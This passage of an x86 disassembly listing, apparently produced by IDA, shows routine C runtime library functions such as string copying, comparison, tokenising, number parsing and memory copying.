mov eax, [eax+4]
push eax
retn
sub_41BD10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD3F proc near ; CODE XREF: seg000:00408F82p
; seg000:00408FAFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BD53
xor eax, eax
jmp short loc_41BD89
; ---------------------------------------------------------------------------
loc_41BD53: ; CODE XREF: sub_41BD3F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BD83
mov esi, [ebp+arg_8]
loc_41BD5C: ; CODE XREF: sub_41BD3F+42j
dec dword ptr [esi+4]
js short loc_41BD6B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BD72
; ---------------------------------------------------------------------------
loc_41BD6B: ; CODE XREF: sub_41BD3F+20j
push esi
call sub_41F263
pop ecx
loc_41BD72: ; CODE XREF: sub_41BD3F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BD8D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BD83
dec [ebp+arg_4]
jnz short loc_41BD5C
loc_41BD83: ; CODE XREF: sub_41BD3F+18j
; sub_41BD3F+3Dj ...
and byte ptr [edi], 0
loc_41BD86: ; CODE XREF: sub_41BD3F+55j
mov eax, ebx
pop esi
loc_41BD89: ; CODE XREF: sub_41BD3F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BD3F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BD83
xor ebx, ebx
jmp short loc_41BD86
sub_41BD3F endp
; =============== S U B R O U T I N E =======================================
sub_41BD96 proc near ; CODE XREF: seg000:0041DFC5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BDAD
add esp, 10h
retn
sub_41BD96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BDAD proc near ; CODE XREF: sub_41BD96+Ep
; sub_41BFB5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BDC5: ; CODE XREF: sub_41BDAD+46j
cmp ds:dword_43F194, 1
jle short loc_41BDDD
movzx eax, bl
push 8
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_41BDEC
; ---------------------------------------------------------------------------
loc_41BDDD: ; CODE XREF: sub_41BDAD+1Fj
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BDEC: ; CODE XREF: sub_41BDAD+2Ej
test eax, eax
jz short loc_41BDF5
mov bl, [esi]
inc esi
jmp short loc_41BDC5
; ---------------------------------------------------------------------------
loc_41BDF5: ; CODE XREF: sub_41BDAD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BE03
or [ebp+arg_C], 2
jmp short loc_41BE08
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDAD+4Ej
cmp bl, 2Bh
jnz short loc_41BE0E
loc_41BE08: ; CODE XREF: sub_41BDAD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BE0E: ; CODE XREF: sub_41BDAD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BFA5
cmp eax, 1
jz loc_41BFA5
cmp eax, 24h
jg loc_41BFA5
push 10h
test eax, eax
pop ecx
jnz short loc_41BE56
cmp bl, 30h
jz short loc_41BE40
mov [ebp+arg_8], 0Ah
jmp short loc_41BE72
; ---------------------------------------------------------------------------
loc_41BE40: ; CODE XREF: sub_41BDAD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BE53
cmp al, 58h
jz short loc_41BE53
mov [ebp+arg_8], 8
jmp short loc_41BE72
; ---------------------------------------------------------------------------
loc_41BE53: ; CODE XREF: sub_41BDAD+97j
; sub_41BDAD+9Bj
mov [ebp+arg_8], ecx
loc_41BE56: ; CODE XREF: sub_41BDAD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BE72
cmp bl, 30h
jnz short loc_41BE72
mov al, [esi]
cmp al, 78h
jz short loc_41BE6A
cmp al, 58h
jnz short loc_41BE72
loc_41BE6A: ; CODE XREF: sub_41BDAD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BE72: ; CODE XREF: sub_41BDAD+91j
; sub_41BDAD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BE82: ; CODE XREF: sub_41BDAD+16Cj
cmp ds:dword_43F194, 1
movzx esi, bl
jle short loc_41BE9A
push 4
push esi
call sub_41F735
pop ecx
pop ecx
jmp short loc_41BEA5
; ---------------------------------------------------------------------------
loc_41BE9A: ; CODE XREF: sub_41BDAD+DFj
mov eax, ds:off_43EF88
mov al, [eax+esi*2]
and eax, 4
loc_41BEA5: ; CODE XREF: sub_41BDAD+EBj
test eax, eax
jz short loc_41BEB1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BEE3
; ---------------------------------------------------------------------------
loc_41BEB1: ; CODE XREF: sub_41BDAD+FAj
cmp ds:dword_43F194, 1
jle short loc_41BEC5
push edi
push esi
call sub_41F735
pop ecx
pop ecx
jmp short loc_41BED0
; ---------------------------------------------------------------------------
loc_41BEC5: ; CODE XREF: sub_41BDAD+10Bj
mov eax, ds:off_43EF88
mov ax, [eax+esi*2]
and eax, edi
loc_41BED0: ; CODE XREF: sub_41BDAD+116j
test eax, eax
jz short loc_41BF1E
movsx eax, bl
push eax
call sub_420533
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BEE3: ; CODE XREF: sub_41BDAD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BF1E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BF08
jnz short loc_41BF02
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BF08
loc_41BF02: ; CODE XREF: sub_41BDAD+147j
or [ebp+arg_C], 4
jmp short loc_41BF11
; ---------------------------------------------------------------------------
loc_41BF08: ; CODE XREF: sub_41BDAD+145j
; sub_41BDAD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BF11: ; CODE XREF: sub_41BDAD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BE82
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BDAD+125j
; sub_41BDAD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BF3C
test edx, edx
jz short loc_41BF36
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BF36: ; CODE XREF: sub_41BDAD+181j
and [ebp+var_8], 0
jmp short loc_41BF89
; ---------------------------------------------------------------------------
loc_41BF3C: ; CODE XREF: sub_41BDAD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BF62
test cl, 1
jnz short loc_41BF89
and ecx, 2
jz short loc_41BF59
cmp [ebp+var_8], 80000000h
ja short loc_41BF62
loc_41BF59: ; CODE XREF: sub_41BDAD+1A1j
test ecx, ecx
jnz short loc_41BF89
cmp [ebp+var_8], eax
jbe short loc_41BF89
loc_41BF62: ; CODE XREF: sub_41BDAD+197j
; sub_41BDAD+1AAj
test byte ptr [ebp+arg_C], 1
mov ds:dword_4DDEB4, 22h
jz short loc_41BF78
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BF89
; ---------------------------------------------------------------------------
loc_41BF78: ; CODE XREF: sub_41BDAD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BF89: ; CODE XREF: sub_41BDAD+18Dj
; sub_41BDAD+19Cj ...
test edx, edx
jz short loc_41BF92
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BF92: ; CODE XREF: sub_41BDAD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BFA0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BFA0: ; CODE XREF: sub_41BDAD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BFB0
; ---------------------------------------------------------------------------
loc_41BFA5: ; CODE XREF: sub_41BDAD+66j
; sub_41BDAD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BFAE
mov [eax], edi
loc_41BFAE: ; CODE XREF: sub_41BDAD+1FDj
xor eax, eax
loc_41BFB0: ; CODE XREF: sub_41BDAD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BDAD endp
; =============== S U B R O U T I N E =======================================
sub_41BFB5 proc near ; CODE XREF: seg000:00407C37p
; sub_40ED60+497p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BDAD
add esp, 10h
retn
sub_41BFB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BFCC proc near ; CODE XREF: seg000:004073DEp
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 0B10000h
lahf
test eax, eax
jnz short loc_41BFE2
call ds:dword_42808C ; RtlGetLastWin32Error
jmp short loc_41BFE4
; ---------------------------------------------------------------------------
loc_41BFE2: ; CODE XREF: sub_41BFCC+Cj
xor eax, eax
loc_41BFE4: ; CODE XREF: sub_41BFCC+14j
test eax, eax
jz short loc_41BFF3
push eax
call sub_4205FF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BFF3: ; CODE XREF: sub_41BFCC+1Aj
xor eax, eax
retn
sub_41BFCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFF6 proc near ; CODE XREF: seg000:0040734Ap
; sub_411D74+8Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420666
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F8BF
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4206F3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BFF6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C030 proc near ; CODE XREF: seg000:004038F1p
; seg000:00403910p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C051
xor eax, eax
jmp short loc_41C053
; ---------------------------------------------------------------------------
loc_41C051: ; CODE XREF: sub_41C030+1Bj
mov eax, edi
loc_41C053: ; CODE XREF: sub_41C030+1Fj
cld
pop edi
leave
retn
sub_41C030 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C060 proc near ; CODE XREF: seg000:0040231Cp
; seg000:0041DF3Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C091
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C08F
jz short loc_41C091
dec ecx
dec ecx
loc_41C08F: ; CODE XREF: sub_41C060+29j
not ecx
loc_41C091: ; CODE XREF: sub_41C060+9j
; sub_41C060+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C0A0 proc near ; CODE XREF: seg000:00401F1Dp
; seg000:00404B1Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C111
sub_41C0A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C0B0 proc near ; CODE XREF: seg000:00401F29p
; seg000:00409010p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C0CC
loc_41C0BD: ; CODE XREF: sub_41C0B0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C0FF
test ecx, 3
jnz short loc_41C0BD
loc_41C0CC: ; CODE XREF: sub_41C0B0+Bj
; sub_41C0B0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C0CC
mov eax, [ecx-4]
test al, al
jz short loc_41C10E
test ah, ah
jz short loc_41C109
test eax, 0FF0000h
jz short loc_41C104
test eax, 0FF000000h
jz short loc_41C0FF
jmp short loc_41C0CC
; ---------------------------------------------------------------------------
loc_41C0FF: ; CODE XREF: sub_41C0B0+12j
; sub_41C0B0+4Bj
lea edi, [ecx-1]
jmp short loc_41C111
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0B0+44j
lea edi, [ecx-2]
jmp short loc_41C111
; ---------------------------------------------------------------------------
loc_41C109: ; CODE XREF: sub_41C0B0+3Dj
lea edi, [ecx-3]
jmp short loc_41C111
; ---------------------------------------------------------------------------
loc_41C10E: ; CODE XREF: sub_41C0B0+39j
lea edi, [ecx-4]
loc_41C111: ; CODE XREF: sub_41C0A0+5j
; sub_41C0B0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C136
loc_41C11D: ; CODE XREF: sub_41C0B0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C188
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C11D
jmp short loc_41C136
; ---------------------------------------------------------------------------
loc_41C131: ; CODE XREF: sub_41C0B0+9Ej
; sub_41C0B0+B8j
mov [edi], edx
add edi, 4
loc_41C136: ; CODE XREF: sub_41C0B0+6Bj
; sub_41C0B0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C131
test dl, dl
jz short loc_41C188
test dh, dh
jz short loc_41C17F
test edx, 0FF0000h
jz short loc_41C172
test edx, 0FF000000h
jz short loc_41C16A
jmp short loc_41C131
; ---------------------------------------------------------------------------
loc_41C16A: ; CODE XREF: sub_41C0B0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C172: ; CODE XREF: sub_41C0B0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C17F: ; CODE XREF: sub_41C0B0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C188: ; CODE XREF: sub_41C0B0+72j
; sub_41C0B0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C0B0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C1A0
loc_41C190: ; CODE XREF: sub_41C1A0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C1A0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C1A0 proc near ; CODE XREF: seg000:00401F07p
; seg000:00401F93p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C190 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C1A6: ; CODE XREF: sub_41BAF0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C1CB
loc_41C1B8: ; CODE XREF: sub_41C1A0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C190
test cl, cl
jz short loc_41C214
test edx, 3
jnz short loc_41C1B8
loc_41C1CB: ; CODE XREF: sub_41C1A0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C1D6: ; CODE XREF: sub_41C1A0+61j
; sub_41C1A0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C218
and eax, 81010100h
jz short loc_41C1D6
and eax, 1010100h
jnz short loc_41C212
and esi, 80000000h
jnz short loc_41C1D6
loc_41C212: ; CODE XREF: sub_41C1A0+68j
; sub_41C1A0+81j ...
pop esi
pop edi
loc_41C214: ; CODE XREF: sub_41C1A0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C218: ; CODE XREF: sub_41C1A0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C255
test al, al
jz short loc_41C212
cmp ah, bl
jz short loc_41C24E
test ah, ah
jz short loc_41C212
shr eax, 10h
cmp al, bl
jz short loc_41C247
test al, al
jz short loc_41C212
cmp ah, bl
jz short loc_41C240
test ah, ah
jz short loc_41C212
jmp short loc_41C1D6
; ---------------------------------------------------------------------------
loc_41C240: ; CODE XREF: sub_41C1A0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C247: ; CODE XREF: sub_41C1A0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C24E: ; CODE XREF: sub_41C1A0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C255: ; CODE XREF: sub_41C1A0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C1A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C260 proc near ; CODE XREF: seg000:00401CEAp
; seg000:00401D41p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C2AC
loc_41C270: ; CODE XREF: sub_41C260+3Cj
; sub_41C260+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C2A4
or al, al
jz short loc_41C2A0
cmp ah, [ecx+1]
jnz short loc_41C2A4
or ah, ah
jz short loc_41C2A0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C2A4
or al, al
jz short loc_41C2A0
cmp ah, [ecx+3]
jnz short loc_41C2A4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C270
mov edi, edi
loc_41C2A0: ; CODE XREF: sub_41C260+18j
; sub_41C260+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C2A4: ; CODE XREF: sub_41C260+14j
; sub_41C260+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C2AC: ; CODE XREF: sub_41C260+Ej
test edx, 1
jz short loc_41C2C8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C2A4
inc ecx
or al, al
jz short loc_41C2A0
test edx, 2
jz short loc_41C270
loc_41C2C8: ; CODE XREF: sub_41C260+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C2A4
or al, al
jz short loc_41C2A0
cmp ah, [ecx+1]
jnz short loc_41C2A4
or ah, ah
jz short loc_41C2A0
add ecx, 2
jmp short loc_41C270
sub_41C260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C2E4 proc near ; CODE XREF: seg000:00401BFFp
; seg000:00401C12p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C2FD: ; CODE XREF: sub_41C2E4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C2FD
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C325
mov edx, ds:dword_4DDF00
loc_41C325: ; CODE XREF: sub_41C2E4+39j
; sub_41C2E4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C345
test al, al
jz short loc_41C345
inc edx
jmp short loc_41C325
; ---------------------------------------------------------------------------
loc_41C345: ; CODE XREF: sub_41C2E4+58j
; sub_41C2E4+5Cj
mov ebx, edx
loc_41C347: ; CODE XREF: sub_41C2E4+81j
mov al, [edx]
test al, al
jz short loc_41C36B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C367
inc edx
jmp short loc_41C347
; ---------------------------------------------------------------------------
loc_41C367: ; CODE XREF: sub_41C2E4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C36B: ; CODE XREF: sub_41C2E4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov ds:dword_4DDF00, edx
and eax, ebx
pop ebx
leave
retn
sub_41C2E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C380 proc near ; CODE XREF: sub_409920+1Cp
; sub_415322+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F8BF
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C3BE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3CB
; ---------------------------------------------------------------------------
loc_41C3BE: ; CODE XREF: sub_41C380+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F7AA
pop ecx
pop ecx
loc_41C3CB: ; CODE XREF: sub_41C380+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C380 endp
; =============== S U B R O U T I N E =======================================
sub_41C3D0 proc near ; CODE XREF: sub_40AEA6+46p
; sub_40B4AD+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C484
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C3FA
loc_41C3EB: ; CODE XREF: sub_41C3D0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C42B
test edi, 3
jnz short loc_41C3EB
loc_41C3FA: ; CODE XREF: sub_41C3D0+19j
; sub_41C3D0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C3FA
mov eax, [edi-4]
test al, al
jz short loc_41C438
test ah, ah
jz short loc_41C433
test eax, 0FF0000h
jz short loc_41C42E
test eax, 0FF000000h
jnz short loc_41C3FA
loc_41C42B: ; CODE XREF: sub_41C3D0+20j
dec edi
jmp short loc_41C43B
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3D0+52j
sub edi, 2
jmp short loc_41C43B
; ---------------------------------------------------------------------------
loc_41C433: ; CODE XREF: sub_41C3D0+4Bj
sub edi, 3
jmp short loc_41C43B
; ---------------------------------------------------------------------------
loc_41C438: ; CODE XREF: sub_41C3D0+47j
sub edi, 4
loc_41C43B: ; CODE XREF: sub_41C3D0+5Cj
; sub_41C3D0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C450
mov ebx, ecx
shr ecx, 2
jnz short loc_41C49C
jmp short loc_41C46C
; ---------------------------------------------------------------------------
loc_41C450: ; CODE XREF: sub_41C3D0+75j
; sub_41C3D0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C48A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C480
test esi, 3
jnz short loc_41C450
mov ebx, ecx
shr ecx, 2
jnz short loc_41C49C
loc_41C46C: ; CODE XREF: sub_41C3D0+7Ej
; sub_41C3D0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C480
loc_41C473: ; CODE XREF: sub_41C3D0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C482
dec ecx
jnz short loc_41C473
loc_41C480: ; CODE XREF: sub_41C3D0+8Bj
; sub_41C3D0+A1j
mov [edi], cl
loc_41C482: ; CODE XREF: sub_41C3D0+ABj
pop ebx
pop esi
loc_41C484: ; CODE XREF: sub_41C3D0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C48A: ; CODE XREF: sub_41C3D0+85j
; sub_41C3D0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C494: ; CODE XREF: sub_41C3D0+E4j
; sub_41C3D0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C46C
loc_41C49C: ; CODE XREF: sub_41C3D0+7Cj
; sub_41C3D0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C494
test dl, dl
jz short loc_41C48A
test dh, dh
jz short loc_41C4E8
test edx, 0FF0000h
jz short loc_41C4D8
test edx, 0FF000000h
jnz short loc_41C494
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C4D8: ; CODE XREF: sub_41C3D0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C4E8: ; CODE XREF: sub_41C3D0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C500 proc near ; CODE XREF: sub_40BE0D+15p
; sub_40BE0D+3Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C520
cmp edi, eax
jb loc_41C698
loc_41C520: ; CODE XREF: sub_41C500+16j
test edi, 3
jnz short loc_41C53C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C55C
rep movsd
jmp ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
loc_41C53C: ; CODE XREF: sub_41C500+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C554
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41C55C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C554: ; CODE XREF: sub_41C500+46j
jmp dword ptr ds:loc_41C658[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C55C: ; CODE XREF: sub_41C500+31j
; sub_41C500+8Ej ...
jmp ds:off_41C5DC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C570
dd offset loc_41C59C
dd offset loc_41C5C0
; ---------------------------------------------------------------------------
loc_41C570: ; DATA XREF: sub_41C500+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C55C
rep movsd
jmp ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
align 4
